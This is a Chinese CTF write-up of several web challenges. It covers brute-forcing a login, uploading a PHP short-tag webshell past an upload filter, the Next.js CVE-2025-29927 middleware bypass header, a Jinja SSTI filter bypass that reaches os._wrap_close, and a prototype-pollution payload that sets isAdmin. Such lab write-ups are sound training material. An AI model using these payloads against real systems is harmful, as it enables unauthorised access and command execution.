easy_file

一进去发现是个登录页面,看看源代码提示了个file查看头像,估计是文件上传,先sql注入简单测试一下,没什么反应,弱口令试试,源代码说会base64加密,所以到bp爆破模块选择base64加密
爆破

然后进去admin.php页面,然后尝试上传文件,发现过滤了很多后缀,只能是jpg的,htacess和.user.ini什么的都不行,同时内容也有过滤,php标签被过滤,于是尝试短标签和script

芝士:PHP 默认开启短标签支持,<?= 等价于 <?php echo,完全绕过 <?php 过滤

可以用file包含但是我直接执行system也行
ls
cat
就拿到了flag

nest_js

考点:Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927)
链接:
https://www.ctfiot.com/233818.html
https://github.com/vulhub/vulhub/blob/master/next.js/CVE-2025-29927/README.zh-cn.md

根据提示访问/dashboard
dashboard
发现一直重定向到登录页面,根据题目,可以推测与Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927)有关,搜索一下,发现可以添加 x-middleware-subrequest然后嵌套5层 middleware

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

然后直接访问dashboard就行了
Next.js漏洞

星愿信箱

进去就是一个留言框一样的东西,输入什么就给你输出什么,,随便测试几下,发现过滤了双大括号和cat,
然后绕过方法:
{{}}->{%%},,cat->tac
发现用这个绕过没有回显,抓包看看,发现有回显,于是尝试解
{%print(''.__class__.__base__.__subclasses__())%}
os._wrap_close
发现有很多的子类
要找含有popen的,脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import re
import ast

def parse_and_find_index(index_list_str, target_string):
# 方法1:使用正则表达式提取类名
def extract_class_names(list_str):
# 匹配 <class 'xxx'> 中的 xxx
pattern = r"<class '([^']+)'>"
matches = re.findall(pattern, list_str)
return matches

# 方法2:使用 ast.literal_eval 但需要预处理
def clean_and_parse(list_str):
# 将 <class 'xxx'> 替换为 'xxx'
cleaned = re.sub(r"<class '([^']+)'>", r"'\1'", list_str)
try:
return ast.literal_eval(cleaned)
except:
return None

# 尝试解析
class_names = extract_class_names(index_list_str)

if not class_names:
# 如果正则没匹配到,尝试清理后解析
parsed_list = clean_and_parse(index_list_str)
if parsed_list:
class_names = parsed_list

# 查找目标字符串
for i, name in enumerate(class_names):
if target_string in name:
return i

return -1

index_list_str = ""

targets = ['os._wrap_close']
for target in targets:
index = parse_and_find_index(index_list_str, target)
print(f"查找 '{target}': 索引 {index}")

index_list_str填上bp上返回的所有子类就行了,然后超找到在第137个

whoami

ls

cat被过滤了,所以就用tac
tac

多重宇宙日记

芝士:原型链污染

  • 通过__proto__来修改越
  • 注入 isAdmin = true 等权限标志
  • 修改 hasOwnProperty 导致 typeof obj === ‘object’ 被伪造
  • 重写 toString 输出敏感数据

此题注册进去发现可以直接传输json数据,同时显示/api/profile路径,题目提示原型链污染,观察源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/// 更新表单的JS提交
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const statusEl = document.getElementById('updateStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在更新...';

const formData = new FormData(event.target);
const settingsPayload = {};
// 构建 settings 对象,只包含有值的字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// ...可以添加其他字段

try {
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败: ' + error.toString();
}
});

// 发送原始JSON的函数
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const statusEl = document.getElementById('rawJsonStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在发送...';
try {
const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
}
}

body: JSON.stringify({ settings: settingsPayload }),所以必须放在setting下面
同时里面包含JSON.parse函数可以解析__proto__并污染,于是直接尝试:

1
2
3
4
5
6
7
8
    "settings": {
"theme": "12",
"language": "1",
"__proto__": {
"isAdmin": true
}
}
}

proto
proto flag

相关原型链污染例题解析链接:https://www.cnblogs.com/ya7q/p/19146883#%E7%A4%BA%E4%BE%8B%E9%A2%98%E7%9B%AE

君の名は 和 easy_signin

没做出来,直接看官方wp吧
链接: https://blog.csdn.net/2301_80160378/article/details/149302149